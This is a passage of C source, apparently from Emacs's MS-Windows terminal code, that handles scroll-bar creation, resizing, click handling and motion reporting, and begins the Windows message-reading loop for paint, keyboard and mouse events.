VERTICAL_SCROLL_BAR_TOP_RANGE (f, height) + VERTICAL_SCROLL_BAR_MIN_HANDLE; si.nPage = si.nMax; si.nPos = 0; SetScrollInfo (hwnd, SB_CTL, &si, FALSE); SET_SCROLL_BAR_W32_WINDOW (bar, hwnd); /* Add bar to its frame's list of scroll bars. */ bar->next = FRAME_SCROLL_BARS (f); bar->prev = Qnil; XSETVECTOR (barobj, bar); fset_scroll_bars (f, barobj); if (! NILP (bar->next)) XSETVECTOR (XSCROLL_BAR (bar->next)->prev, bar); unblock_input (); return bar; } /* Destroy scroll bar BAR, and set its Emacs window's scroll bar to nil. */ static void w32_scroll_bar_remove (struct scroll_bar *bar) { struct frame *f = XFRAME (WINDOW_FRAME (XWINDOW (bar->window))); block_input (); /* Destroy the window. */ my_destroy_window (f, SCROLL_BAR_W32_WINDOW (bar)); /* Dissociate this scroll bar from its window. */ if (bar->horizontal) wset_horizontal_scroll_bar (XWINDOW (bar->window), Qnil); else wset_vertical_scroll_bar (XWINDOW (bar->window), Qnil); unblock_input (); } /* Set the handle of the vertical scroll bar for WINDOW to indicate that we are displaying PORTION characters out of a total of WHOLE characters, starting at POSITION. If WINDOW has no vertical scroll bar, create one. */ static void w32_set_vertical_scroll_bar (struct window *w, int portion, int whole, int position) { struct frame *f = XFRAME (w->frame); Lisp_Object barobj; struct scroll_bar *bar; int top, height, left, width; int window_y, window_height; /* Get window dimensions. */ window_box (w, ANY_AREA, 0, &window_y, 0, &window_height); top = window_y; height = window_height; /* Compute the left edge and the width of the scroll bar area. */ left = WINDOW_SCROLL_BAR_AREA_X (w); width = WINDOW_SCROLL_BAR_AREA_WIDTH (w); /* Does the scroll bar exist yet? */ if (NILP (w->vertical_scroll_bar)) { HDC hdc; block_input (); if (width > 0 && height > 0) { hdc = get_frame_dc (f); w32_clear_area (f, hdc, left, top, width, height); release_frame_dc (f, hdc); } unblock_input (); bar = w32_scroll_bar_create (w, left, top, width, height, false); } else { /* It may just need to be moved and resized. */ HWND hwnd; bar = XSCROLL_BAR (w->vertical_scroll_bar); hwnd = SCROLL_BAR_W32_WINDOW (bar); /* If already correctly positioned, do nothing. */ if (bar->left == left && bar->top == top && bar->width == width && bar->height == height) { /* Redraw after clear_frame. */ if (!my_show_window (f, hwnd, SW_NORMAL)) InvalidateRect (hwnd, NULL, FALSE); } else { HDC hdc; SCROLLINFO si; block_input (); if (width && height) { hdc = get_frame_dc (f); /* Since Windows scroll bars are smaller than the space reserved for them on the frame, we have to clear "under" them. */ w32_clear_area (f, hdc, left, top, width, height); release_frame_dc (f, hdc); w32_clear_under_internal_border (f); } /* Make sure scroll bar is "visible" before moving, to ensure the area of the parent window now exposed will be refreshed. */ my_show_window (f, hwnd, SW_HIDE); /** MoveWindow (hwnd, left, top, width, max (height, 1), TRUE); **/ /* Try to not draw over child frames. */ SetWindowPos (hwnd, HWND_BOTTOM, left, top, width, max (height, 1), SWP_FRAMECHANGED); si.cbSize = sizeof (si); si.fMask = SIF_RANGE; si.nMin = 0; si.nMax = VERTICAL_SCROLL_BAR_TOP_RANGE (f, height) + VERTICAL_SCROLL_BAR_MIN_HANDLE; SetScrollInfo (hwnd, SB_CTL, &si, FALSE); my_show_window (f, hwnd, SW_NORMAL); /* InvalidateRect (w, NULL, FALSE); */ /* Remember new settings. */ bar->left = left; bar->top = top; bar->width = width; bar->height = height; unblock_input (); } } w32_set_scroll_bar_thumb (bar, portion, position, whole); XSETVECTOR (barobj, bar); wset_vertical_scroll_bar (w, barobj); } /* Set the handle of the horizontal scroll bar for WINDOW to indicate that we are displaying PORTION characters out of a total of WHOLE characters, starting at POSITION. If WINDOW has no horizontal scroll bar, create one. */ static void w32_set_horizontal_scroll_bar (struct window *w, int portion, int whole, int position) { struct frame *f = XFRAME (w->frame); Lisp_Object barobj; struct scroll_bar *bar; int top, height, left, width; int window_x, window_width; int clear_left = WINDOW_LEFT_EDGE_X (w); int clear_width = WINDOW_PIXEL_WIDTH (w) - WINDOW_RIGHT_DIVIDER_WIDTH (w); /* Get window dimensions. */ window_box (w, ANY_AREA, &window_x, 0, &window_width, 0); left = window_x; height = WINDOW_SCROLL_BAR_AREA_HEIGHT (w); width = window_width; top = WINDOW_SCROLL_BAR_AREA_Y (w); /* Does the scroll bar exist yet? */ if (NILP (w->horizontal_scroll_bar)) { HDC hdc; block_input (); if (width > 0 && height > 0) { hdc = get_frame_dc (f); w32_clear_area (f, hdc, clear_left, top, clear_width, height); release_frame_dc (f, hdc); } unblock_input (); bar = w32_scroll_bar_create (w, left, top, width, height, true); } else { /* It may just need to be moved and resized. */ HWND hwnd; bar = XSCROLL_BAR (w->horizontal_scroll_bar); hwnd = SCROLL_BAR_W32_WINDOW (bar); /* If already correctly positioned, do nothing. */ if (bar->left == left && bar->top == top && bar->width == width && bar->height == height) { /* Redraw after clear_frame. */ if (!my_show_window (f, hwnd, SW_NORMAL)) InvalidateRect (hwnd, NULL, FALSE); } else { HDC hdc; SCROLLINFO si; block_input (); if (width && height) { hdc = get_frame_dc (f); /* Since Windows scroll bars are smaller than the space reserved for them on the frame, we have to clear "under" them. */ w32_clear_area (f, hdc, clear_left, top, clear_width, height); release_frame_dc (f, hdc); w32_clear_under_internal_border (f); } /* Make sure scroll bar is "visible" before moving, to ensure the area of the parent window now exposed will be refreshed. */ my_show_window (f, hwnd, SW_HIDE); /** MoveWindow (hwnd, left, top, width, max (height, 1), TRUE); **/ /* Try to not draw over child frames. */ SetWindowPos (hwnd, HWND_BOTTOM, left, top, max (width, 1), height, SWP_FRAMECHANGED); /* +++ SetScrollInfo +++ */ si.cbSize = sizeof (si); si.fMask = SIF_PAGE | SIF_POS | SIF_RANGE; si.nMin = 0; si.nMax = whole; si.nPage = min (portion, si.nMax) + 1; si.nPos = min (position, si.nMax); SetScrollInfo (hwnd, SB_CTL, &si, FALSE); my_show_window (f, hwnd, SW_NORMAL); /* InvalidateRect (w, NULL, FALSE); */ /* Remember new settings. */ bar->left = left; bar->top = top; bar->width = width; bar->height = height; unblock_input (); } } w32_set_horizontal_scroll_bar_thumb (bar, portion, position, whole); XSETVECTOR (barobj, bar); wset_horizontal_scroll_bar (w, barobj); } /* The following three hooks are used when we're doing a thorough redisplay of the frame. We don't explicitly know which scroll bars are going to be deleted, because keeping track of when windows go away is a real pain - "Can you say set-window-configuration, boys and girls?" Instead, we just assert at the beginning of redisplay that *all* scroll bars are to be removed, and then save a scroll bar from the fiery pit when we actually redisplay its window. */ /* Arrange for all scroll bars on FRAME to be removed at the next call to `*judge_scroll_bars_hook'. A scroll bar may be spared if `*redeem_scroll_bar_hook' is applied to its window before the judgment. */ static void w32_condemn_scroll_bars (struct frame *frame) { if (!NILP (FRAME_SCROLL_BARS (frame))) { if (!NILP (FRAME_CONDEMNED_SCROLL_BARS (frame))) { /* Prepend scrollbars to already condemned ones. */ Lisp_Object last = FRAME_SCROLL_BARS (frame); while (!NILP (XSCROLL_BAR (last)->next)) last = XSCROLL_BAR (last)->next; XSCROLL_BAR (last)->next = FRAME_CONDEMNED_SCROLL_BARS (frame); XSCROLL_BAR (FRAME_CONDEMNED_SCROLL_BARS (frame))->prev = last; } fset_condemned_scroll_bars (frame, FRAME_SCROLL_BARS (frame)); fset_scroll_bars (frame, Qnil); } } /* Un-mark WINDOW's scroll bar for deletion in this judgment cycle. Note that WINDOW isn't necessarily condemned at all. */ static void w32_redeem_scroll_bar (struct window *w) { struct scroll_bar *bar; Lisp_Object barobj; struct frame *f; /* We can't redeem this window's scroll bar if it doesn't have one. */ if (NILP (w->vertical_scroll_bar) && NILP (w->horizontal_scroll_bar)) emacs_abort (); if (!NILP (w->vertical_scroll_bar) && WINDOW_HAS_VERTICAL_SCROLL_BAR (w)) { bar = XSCROLL_BAR (w->vertical_scroll_bar); /* Unlink it from the condemned list. */ f = XFRAME (WINDOW_FRAME (w)); if (NILP (bar->prev)) { /* If the prev pointer is nil, it must be the first in one of the lists. */ if (EQ (FRAME_SCROLL_BARS (f), w->vertical_scroll_bar)) /* It's not condemned. Everything's fine. */ goto horizontal; else if (EQ (FRAME_CONDEMNED_SCROLL_BARS (f), w->vertical_scroll_bar)) fset_condemned_scroll_bars (f, bar->next); else /* If its prev pointer is nil, it must be at the front of one or the other! */ emacs_abort (); } else XSCROLL_BAR (bar->prev)->next = bar->next; if (! NILP (bar->next)) XSCROLL_BAR (bar->next)->prev = bar->prev; bar->next = FRAME_SCROLL_BARS (f); bar->prev = Qnil; XSETVECTOR (barobj, bar); fset_scroll_bars (f, barobj); if (! NILP (bar->next)) XSETVECTOR (XSCROLL_BAR (bar->next)->prev, bar); } horizontal: if (!NILP (w->horizontal_scroll_bar) && WINDOW_HAS_HORIZONTAL_SCROLL_BAR (w)) { bar = XSCROLL_BAR (w->horizontal_scroll_bar); /* Unlink it from the condemned list. */ f = XFRAME (WINDOW_FRAME (w)); if (NILP (bar->prev)) { /* If the prev pointer is nil, it must be the first in one of the lists. */ if (EQ (FRAME_SCROLL_BARS (f), w->horizontal_scroll_bar)) /* It's not condemned. Everything's fine. */ return; else if (EQ (FRAME_CONDEMNED_SCROLL_BARS (f), w->horizontal_scroll_bar)) fset_condemned_scroll_bars (f, bar->next); else /* If its prev pointer is nil, it must be at the front of one or the other! */ emacs_abort (); } else XSCROLL_BAR (bar->prev)->next = bar->next; if (! NILP (bar->next)) XSCROLL_BAR (bar->next)->prev = bar->prev; bar->next = FRAME_SCROLL_BARS (f); bar->prev = Qnil; XSETVECTOR (barobj, bar); fset_scroll_bars (f, barobj); if (! NILP (bar->next)) XSETVECTOR (XSCROLL_BAR (bar->next)->prev, bar); } } /* Remove all scroll bars on FRAME that haven't been saved since the last call to `*condemn_scroll_bars_hook'. */ static void w32_judge_scroll_bars (struct frame *f) { Lisp_Object bar, next; bar = FRAME_CONDEMNED_SCROLL_BARS (f); /* Clear out the condemned list now so we won't try to process any more events on the hapless scroll bars. */ fset_condemned_scroll_bars (f, Qnil); for (; ! NILP (bar); bar = next) { struct scroll_bar *b = XSCROLL_BAR (bar); w32_scroll_bar_remove (b); next = b->next; b->next = b->prev = Qnil; } /* Now there should be no references to the condemned scroll bars, and they should get garbage-collected. */ } /* Handle a mouse click on the vertical scroll bar BAR. If *EMACS_EVENT's kind is set to something other than NO_EVENT, it is enqueued. This may be called from a signal handler, so we have to ignore GC mark bits. */ static int w32_scroll_bar_handle_click (struct scroll_bar *bar, W32Msg *msg, struct input_event *emacs_event) { if (! WINDOWP (bar->window)) emacs_abort (); emacs_event->kind = SCROLL_BAR_CLICK_EVENT; emacs_event->code = 0; /* not really meaningful to distinguish up/down */ emacs_event->modifiers = msg->dwModifiers; emacs_event->frame_or_window = bar->window; emacs_event->arg = Qnil; emacs_event->timestamp = msg->msg.time; { int top_range = VERTICAL_SCROLL_BAR_TOP_RANGE (f, bar->height); int y; int dragging = bar->dragging; SCROLLINFO si; int sb_event = LOWORD (msg->msg.wParam); si.cbSize = sizeof (si); if (sb_event == SB_THUMBTRACK) si.fMask = SIF_TRACKPOS; else si.fMask = SIF_POS; GetScrollInfo ((HWND) msg->msg.lParam, SB_CTL, &si); if (sb_event == SB_THUMBTRACK) y = si.nTrackPos; else y = si.nPos; bar->dragging = 0; struct frame *f; /* Value is not used. */ FRAME_DISPLAY_INFO (f)->last_mouse_scroll_bar_pos = msg->msg.wParam; switch (sb_event) { case SB_LINEDOWN: emacs_event->part = scroll_bar_down_arrow; break; case SB_LINEUP: emacs_event->part = scroll_bar_up_arrow; break; case SB_PAGEUP: emacs_event->part = scroll_bar_above_handle; break; case SB_PAGEDOWN: emacs_event->part = scroll_bar_below_handle; break; case SB_TOP: emacs_event->part = scroll_bar_handle; y = 0; break; case SB_BOTTOM: emacs_event->part = scroll_bar_handle; y = top_range; break; case SB_THUMBTRACK: case SB_THUMBPOSITION: bar->dragging = 1; /* ??????? */ emacs_event->part = scroll_bar_handle; /* "Silently" update current position. */ { SCROLLINFO si; si.cbSize = sizeof (si); si.fMask = SIF_POS; si.nPos = y; /* Remember apparent position (we actually lag behind the real position, so don't set that directly). */ last_scroll_bar_drag_pos = y; SetScrollInfo (SCROLL_BAR_W32_WINDOW (bar), SB_CTL, &si, FALSE); } break; case SB_ENDSCROLL: /* If this is the end of a drag sequence, then reset the scroll handle size to normal and do a final redraw. Otherwise do nothing. */ if (dragging) { SCROLLINFO si; int start = bar->start; int end = bar->end; si.cbSize = sizeof (si); si.fMask = SIF_PAGE | SIF_POS; si.nPage = end - start + VERTICAL_SCROLL_BAR_MIN_HANDLE; si.nPos = last_scroll_bar_drag_pos; SetScrollInfo (SCROLL_BAR_W32_WINDOW (bar), SB_CTL, &si, TRUE); } /* fall through */ FALLTHROUGH; default: emacs_event->kind = NO_EVENT; return FALSE; } XSETINT (emacs_event->x, y); XSETINT (emacs_event->y, top_range); return TRUE; } } /* Handle a mouse click on the horizontal scroll bar BAR. If *EMACS_EVENT's kind is set to something other than NO_EVENT, it is enqueued. This may be called from a signal handler, so we have to ignore GC mark bits. */ static int w32_horizontal_scroll_bar_handle_click (struct scroll_bar *bar, W32Msg *msg, struct input_event *emacs_event) { if (! WINDOWP (bar->window)) emacs_abort (); emacs_event->kind = HORIZONTAL_SCROLL_BAR_CLICK_EVENT; emacs_event->code = 0; /* not really meaningful to distinguish left/right */ emacs_event->modifiers = msg->dwModifiers; emacs_event->frame_or_window = bar->window; emacs_event->arg = Qnil; emacs_event->timestamp = msg->msg.time; { int left_range = HORIZONTAL_SCROLL_BAR_LEFT_RANGE (f, bar->width); int x, y; int dragging = bar->dragging; SCROLLINFO si; int sb_event = LOWORD (msg->msg.wParam); si.cbSize = sizeof (si); if (sb_event == SB_THUMBTRACK) si.fMask = SIF_TRACKPOS | SIF_PAGE | SIF_RANGE; else si.fMask = SIF_POS | SIF_PAGE | SIF_RANGE; GetScrollInfo ((HWND) msg->msg.lParam, SB_CTL, &si); if (sb_event == SB_THUMBTRACK) x = si.nTrackPos; else x = si.nPos; y = si.nMax - si.nPage; bar->dragging = 0; struct frame *f; /* Value is not used. */ FRAME_DISPLAY_INFO (f)->last_mouse_scroll_bar_pos = msg->msg.wParam; switch (sb_event) { case SB_LINELEFT: emacs_event->part = scroll_bar_left_arrow; break; case SB_LINERIGHT: emacs_event->part = scroll_bar_right_arrow; break; case SB_PAGELEFT: emacs_event->part = scroll_bar_before_handle; break; case SB_PAGERIGHT: emacs_event->part = scroll_bar_after_handle; break; case SB_LEFT: emacs_event->part = scroll_bar_horizontal_handle; x = 0; break; case SB_RIGHT: emacs_event->part = scroll_bar_horizontal_handle; x = left_range; break; case SB_THUMBTRACK: case SB_THUMBPOSITION: bar->dragging = 1; emacs_event->part = scroll_bar_horizontal_handle; /* "Silently" update current position. */ { SCROLLINFO si; si.cbSize = sizeof (si); si.fMask = SIF_POS; si.nPos = min (x, XWINDOW (bar->window)->hscroll_whole - 1); /* Remember apparent position (we actually lag behind the real position, so don't set that directly). */ last_scroll_bar_drag_pos = x; SetScrollInfo (SCROLL_BAR_W32_WINDOW (bar), SB_CTL, &si, FALSE); } break; case SB_ENDSCROLL: /* If this is the end of a drag sequence, then reset the scroll handle size to normal and do a final redraw. Otherwise do nothing. */ if (dragging) { SCROLLINFO si; si.cbSize = sizeof (si); si.fMask = SIF_POS; si.nPos = min (last_scroll_bar_drag_pos, XWINDOW (bar->window)->hscroll_whole - 1); SetScrollInfo (SCROLL_BAR_W32_WINDOW (bar), SB_CTL, &si, TRUE); } /* fall through */ FALLTHROUGH; default: emacs_event->kind = NO_EVENT; return FALSE; } XSETINT (emacs_event->x, x); XSETINT (emacs_event->y, y); return TRUE; } } /* Return information to the user about the current position of the mouse on the vertical scroll bar. */ static void w32_scroll_bar_report_motion (struct frame **fp, Lisp_Object *bar_window, enum scroll_bar_part *part, Lisp_Object *x, Lisp_Object *y, Time *time) { struct w32_display_info *dpyinfo = FRAME_DISPLAY_INFO (*fp); struct scroll_bar *bar = dpyinfo->last_mouse_scroll_bar; Window w = SCROLL_BAR_W32_WINDOW (bar); struct frame *f = XFRAME (WINDOW_FRAME (XWINDOW (bar->window))); int pos; int top_range = VERTICAL_SCROLL_BAR_TOP_RANGE (f, bar->height); SCROLLINFO si; int sb_event = LOWORD (dpyinfo->last_mouse_scroll_bar_pos); block_input (); *fp = f; *bar_window = bar->window; si.cbSize = sizeof (si); if (sb_event == SB_THUMBTRACK) si.fMask = SIF_TRACKPOS | SIF_PAGE | SIF_RANGE; else si.fMask = SIF_POS | SIF_PAGE | SIF_RANGE; GetScrollInfo (w, SB_CTL, &si); if (sb_event == SB_THUMBTRACK) pos = si.nTrackPos; else pos = si.nPos; top_range = si.nMax - si.nPage + 1; *part = scroll_bar_handle; if (sb_event == SB_LINEDOWN) pos++; XSETINT (*x, pos); XSETINT (*y, top_range); f->mouse_moved = false; dpyinfo->last_mouse_scroll_bar = NULL; *time = dpyinfo->last_mouse_movement_time; unblock_input (); } /* Return information to the user about the current position of the mouse on the horizontal scroll bar. */ static void w32_horizontal_scroll_bar_report_motion (struct frame **fp, Lisp_Object *bar_window, enum scroll_bar_part *part, Lisp_Object *x, Lisp_Object *y, Time *time) { struct w32_display_info *dpyinfo = FRAME_DISPLAY_INFO (*fp); struct scroll_bar *bar = dpyinfo->last_mouse_scroll_bar; Window w = SCROLL_BAR_W32_WINDOW (bar); struct frame *f = XFRAME (WINDOW_FRAME (XWINDOW (bar->window))); int pos; int left_range = HORIZONTAL_SCROLL_BAR_LEFT_RANGE (f, bar->width); SCROLLINFO si; int sb_event = LOWORD (dpyinfo->last_mouse_scroll_bar_pos); block_input (); *fp = f; *bar_window = bar->window; si.cbSize = sizeof (si); if (sb_event == SB_THUMBTRACK) si.fMask = SIF_TRACKPOS | SIF_PAGE | SIF_RANGE; else si.fMask = SIF_POS | SIF_PAGE | SIF_RANGE; GetScrollInfo (w, SB_CTL, &si); if (sb_event == SB_THUMBTRACK) pos = si.nTrackPos; else pos = si.nPos; left_range = si.nMax - si.nPage + 1; *part = scroll_bar_handle; if (sb_event == SB_LINERIGHT) pos++; XSETINT (*y, pos); XSETINT (*x, left_range); f->mouse_moved = false; dpyinfo->last_mouse_scroll_bar = NULL; *time = dpyinfo->last_mouse_movement_time; unblock_input (); } /* The screen has been cleared so we may have changed foreground or background colors, and the scroll bars may need to be redrawn. Clear out the scroll bars, and ask for expose events, so we can redraw them. */ static void w32_scroll_bar_clear (struct frame *f) { Lisp_Object bar; /* We can have scroll bars even if this is 0, if we just turned off scroll bar mode. But in that case we should not clear them. */ if (FRAME_HAS_VERTICAL_SCROLL_BARS (f) || FRAME_HAS_HORIZONTAL_SCROLL_BARS (f)) for (bar = FRAME_SCROLL_BARS (f); VECTORP (bar); bar = XSCROLL_BAR (bar)->next) { HWND window = SCROLL_BAR_W32_WINDOW (XSCROLL_BAR (bar)); HDC hdc = GetDC (window); RECT rect; /* Hide scroll bar until ready to repaint. x_scroll_bar_move arranges to refresh the scroll bar if hidden. */ my_show_window (f, window, SW_HIDE); GetClientRect (window, &rect); select_palette (f, hdc); w32_clear_rect (f, hdc, &rect); w32_clear_under_internal_border (f); deselect_palette (f, hdc); ReleaseDC (window, hdc); } } /* The main W32 event-reading loop - w32_read_socket. */ /* Record the last 100 characters stored to help debug the loss-of-chars-during-GC problem. */ static int temp_index; static short temp_buffer[100]; /* Temporarily store lead byte of DBCS input sequences. */ static char dbcs_lead = 0; /* Temporarily store pending UTF-16 high surrogate unit and the modifiers. */ static unsigned short utf16_high; static DWORD utf16_high_modifiers; /** mouse_or_wdesc_frame: When not dropping and the mouse was grabbed for DPYINFO, return the frame where the mouse was seen last. If there's no such frame, return the frame according to WDESC. When dropping, return the frame according to WDESC. If there's no such frame and the mouse was grabbed for DPYINFO, return the frame where the mouse was seen last. In either case, never return a tooltip frame. */ static struct frame * mouse_or_wdesc_frame (struct w32_display_info *dpyinfo, HWND wdesc) { struct frame *lm_f = (gui_mouse_grabbed (dpyinfo) ? dpyinfo->last_mouse_frame : NULL); if (lm_f && !EQ (track_mouse, Qdropping)) return lm_f; else { struct frame *w_f = w32_window_to_frame (dpyinfo, wdesc); /* Do not return a tooltip frame. */ if (!w_f || FRAME_TOOLTIP_P (w_f)) return EQ (track_mouse, Qdropping) ? lm_f : NULL; else /* When dropping it would be probably nice to raise w_f here. */ return w_f; } } /* Read events coming from the W32 shell. This routine is called by the SIGIO handler. We return as soon as there are no more events to be read. For an overview of how Emacs input works on MS-Windows, see the commentary before w32_msg_pump in w32fns.c. We return the number of characters stored into the buffer, thus pretending to be `read'. Some of these messages are reposted back to the message queue since the system calls the windows proc directly in a context where we cannot return the data nor can we guarantee the state we are in. So if we dispatch them we will get into an infinite loop. To prevent this from ever happening we will set a variable to indicate we are in the read_socket call and indicate which message we are processing since the windows proc gets called recursively with different messages by the system. */ extern void menubar_selection_callback (struct frame *, void *); static int w32_read_socket (struct terminal *terminal, struct input_event *hold_quit) { int count = 0; int check_visibility = 0; W32Msg msg; struct frame *f; struct w32_display_info *dpyinfo = &one_w32_display_info; Mouse_HLInfo *hlinfo = &dpyinfo->mouse_highlight; block_input (); /* Process any incoming thread messages. */ drain_message_queue (); /* TODO: ghostscript integration. */ while (get_next_msg (&msg, FALSE)) { struct input_event inev; int do_help = 0; /* DebPrint (("w32_read_socket: %s time:%u\n", */ /* w32_name_of_message (msg.msg.message), */ /* msg.msg.time)); */ EVENT_INIT (inev); inev.kind = NO_EVENT; inev.arg = Qnil; switch (msg.msg.message) { case WM_EMACS_PAINT: f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); if (f) { if (msg.rect.right == msg.rect.left || msg.rect.bottom == msg.rect.top) { /* We may get paint messages even though the client area is clipped - these are not expose events. */ DebPrint (("clipped frame %p (%s) got WM_PAINT - ignored\n", f, SDATA (f->name))); } else if (FRAME_VISIBLE_P (f) != 1) { bool iconified = FRAME_ICONIFIED_P (f); /* Definitely not obscured, so mark as visible. */ SET_FRAME_VISIBLE (f, 1); SET_FRAME_ICONIFIED (f, false); SET_FRAME_GARBAGED (f); if (!f->output_data.w32->asked_for_visible) DebPrint (("frame %p (%s) reexposed by WM_PAINT\n", f, SDATA (f->name))); /* WM_PAINT serves as MapNotify as well, so report visibility changes properly. */ if (iconified) { inev.kind = DEICONIFY_EVENT; XSETFRAME (inev.frame_or_window, f); } } else { /* Erase background again for safety. But don't do that if the frame's 'garbaged' flag is set, since in that case expose_frame will do nothing, and if the various redisplay flags happen to be unset, we are left with a blank frame. */ if (!FRAME_GARBAGED_P (f) || FRAME_PARENT_FRAME (f)) { HDC hdc = get_frame_dc (f); w32_clear_rect (f, hdc, &msg.rect); release_frame_dc (f, hdc); } expose_frame (f, msg.rect.left, msg.rect.top, msg.rect.right - msg.rect.left, msg.rect.bottom - msg.rect.top); w32_clear_under_internal_border (f); } } break; case WM_INPUTLANGCHANGE: /* Generate a language change event. */ f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); /* lParam contains the input language ID in its low 16 bits. Use it to update our record of the keyboard codepage. */ w32_keyboard_codepage = codepage_for_locale ((LCID)(msg.msg.lParam & 0xffff)); if (f) { inev.kind = LANGUAGE_CHANGE_EVENT; XSETFRAME (inev.frame_or_window, f); inev.code = w32_keyboard_codepage; inev.modifiers = msg.msg.lParam & 0xffff; } break; case WM_SETTINGCHANGE: /* We are only interested in changes of the number of lines to scroll when the vertical mouse wheel is moved. This is only supported on NT. */ if (msg.msg.wParam == SPI_SETWHEELSCROLLLINES) w32_get_mouse_wheel_vertical_delta (); break; case WM_KEYDOWN: case WM_SYSKEYDOWN: f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); if (f && !FRAME_ICONIFIED_P (f)) { if (!hlinfo->mouse_face_hidden && FIXNUMP (Vmouse_highlight) && !EQ (f->tab_bar_window, hlinfo->mouse_face_window) && !EQ (f->tool_bar_window, hlinfo->mouse_face_window)) { clear_mouse_face (hlinfo); hlinfo->mouse_face_hidden = true; } if (temp_index == sizeof temp_buffer / sizeof (short)) temp_index = 0; temp_buffer[temp_index++] = msg.msg.wParam; inev.kind = NON_ASCII_KEYSTROKE_EVENT; inev.code = msg.msg.wParam; inev.modifiers = msg.dwModifiers; XSETFRAME (inev.frame_or_window, f); inev.timestamp = msg.msg.time; } break; case WM_UNICHAR: case WM_SYSCHAR: case WM_CHAR: f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); if (f && !FRAME_ICONIFIED_P (f)) { if (!hlinfo->mouse_face_hidden && FIXNUMP (Vmouse_highlight) && !EQ (f->tab_bar_window, hlinfo->mouse_face_window) && !EQ (f->tool_bar_window, hlinfo->mouse_face_window)) { clear_mouse_face (hlinfo); hlinfo->mouse_face_hidden = true; } if (temp_index == sizeof temp_buffer / sizeof (short)) temp_index = 0; temp_buffer[temp_index++] = msg.msg.wParam; inev.modifiers = msg.dwModifiers; XSETFRAME (inev.frame_or_window, f); inev.timestamp = msg.msg.time; if (utf16_high && (msg.msg.message != WM_UNICHAR || UTF_16_HIGH_SURROGATE_P (msg.msg.wParam))) { /* Flush the pending high surrogate if the low one isn't coming. (This should never happen, but I have paranoia about this stuff.) */ struct input_event inev1; inev1.modifiers = utf16_high_modifiers; inev1.code = utf16_high; inev1.timestamp = inev.timestamp; inev1.arg = Qnil; kbd_buffer_store_event_hold (&inev1, hold_quit); utf16_high = 0; utf16_high_modifiers = 0; } if (msg.msg.message == WM_UNICHAR) { /* Handle UTF-16 encoded codepoint above the BMP. This is needed to support Emoji input from input panel popped up by "Win+." shortcut. */ if (UTF_16_HIGH_SURROGATE_P (msg.msg.wParam)) { utf16_high = msg.msg.wParam; utf16_high_modifiers = inev.modifiers; inev.kind = NO_EVENT; break; } else if (UTF_16_LOW_SURROGATE_P (msg.msg.wParam) && utf16_high) { inev.code = surrogates_to_codepoint (msg.msg.wParam, utf16_high); utf16_high = 0; utf16_high_modifiers = 0; } else inev.code = msg.msg.wParam; } else if (msg.msg.wParam < 256) { wchar_t code; char dbcs[2]; dbcs[0] = 0; dbcs[1] = (char) msg.msg.wParam; if (dbcs_lead) { dbcs[0] = dbcs_lead; dbcs_lead = 0; if (!MultiByteToWideChar (w32_keyboard_codepage, 0, dbcs, 2, &code, 1)) { /* Garbage */ DebPrint (("Invalid DBCS sequence: %d %d\n", dbcs[0], dbcs[1])); inev.kind = NO_EVENT; break; } } else if (IsDBCSLeadByteEx (w32_keyboard_codepage, (BYTE) msg.msg.wParam)) { dbcs_lead = (char) msg.msg.wParam; inev.kind = NO_EVENT; break; } else { if (!MultiByteToWideChar (w32_keyboard_codepage, 0, &dbcs[1], 1, &code, 1)) { /* What to do with garbage? */ DebPrint (("Invalid character: %d\n", dbcs[1])); inev.kind = NO_EVENT; break; } } inev.code = code; } else { /* Windows shouldn't generate WM_CHAR events above 0xFF in non-Unicode message handlers. */ DebPrint (("Non-byte WM_CHAR: %d\n", msg.msg.wParam)); inev.kind = NO_EVENT; break; } inev.kind = inev.code < 128 ? ASCII_KEYSTROKE_EVENT : MULTIBYTE_CHAR_KEYSTROKE_EVENT; } break; case WM_APPCOMMAND: f = w32_window_to_frame (dpyinfo, msg.msg.hwnd); if (f && !FRAME_ICONIFIED_P (f)) { if (!hlinfo->mouse_face_hidden && FIXNUMP (Vmouse_highlight) && !EQ (f->tab_bar_window, hlinfo->mouse_face_window) && !EQ (f->tool_bar_window, hlinfo->mouse_face_window)) { clear_mouse_face (hlinfo); hlinfo->mouse_face_hidden = true; } if (temp_index == sizeof temp_buffer / sizeof (short)) temp_index = 0; temp_buffer[temp_index++] = msg.msg.wParam; inev.kind = MULTIMEDIA_KEY_EVENT; inev.code = GET_APPCOMMAND_LPARAM (msg.msg.lParam); inev.modifiers = msg.dwModifiers; XSETFRAME (inev.frame_or_window, f); inev.timestamp = msg.msg.time; } break; case WM_MOUSEMOVE: /* Ignore non-movement. */ { int x = LOWORD (msg.msg.lParam); int y = HIWORD (msg.msg.lParam); if (x == last_mousemove_x && y == last_mousemove_y) break; last_mousemove_x = x; last_mousemove_y = y; } previous_help_echo_string = help_echo_string; help_echo_string = Qnil; if (hlinfo->mouse_face_hidden) { hlinfo->mouse_face_hidden = false; clear_mouse_face (hlinfo); } f = mouse_or_wdesc_frame (dpyinfo, msg.msg.hwnd); if (f) { /* Maybe generate SELECT_WINDOW_EVENTs for `mouse-autoselect-window'. */ if (!NILP (Vmouse_autoselect_window) && (f == XFRAME (selected_frame) /* Switch to f from another frame iff focus_follows_mouse is set and f accepts focus. */ || (!NILP (focus_follows_mouse) && !FRAME_NO_ACCEPT_FOCUS (f)))) { static Lisp_Object last_mouse_window; Lisp_Object window = window_from_coordinates (f, LOWORD (msg.msg.lParam), HIWORD (msg.msg.lParam), 0, 0, 0); /* Window will be selected only when it is not selected now and last mouse movement event was not in it. Minibuffer window will be selected only when it is active. */ if (WINDOWP (window) && !EQ (window, last_mouse_window) && !EQ (window, selected_window)) { inev.kind = SELECT_WINDOW_EVENT; inev.frame_or_window = window; } /* Remember the last window where we saw the mouse. */ last_mouse_window = window; } if (!w32_note_mouse_movement (f, &msg.msg)) help_echo_string = previous_help_echo_string; } else { /* If we move outside the frame, then we're certainly no longer on any text in the frame. */ clear_mouse_face (hlinfo); } /* If the contents of the global variable help_echo_string has changed, generate a HELP_EVENT. */ #if 0 /* The below is an invalid comparison when CHECK_LISP_OBJECT_TYPE. But it was originally changed to this to fix a bug, so I have not removed it completely in case the bug is still there. */ if (help_echo_string != previous_help_echo_string || (!NILP (help_echo_string) && !STRINGP (help_echo_string) && f->mouse_moved)) #else /* This is what xterm.c does. */ if (!NILP (help_echo_string) || !NILP (previous_help_echo_string)) do_help = 1; #endif break; case WM_LBUTTONDOWN: case WM_LBUTTONUP: case 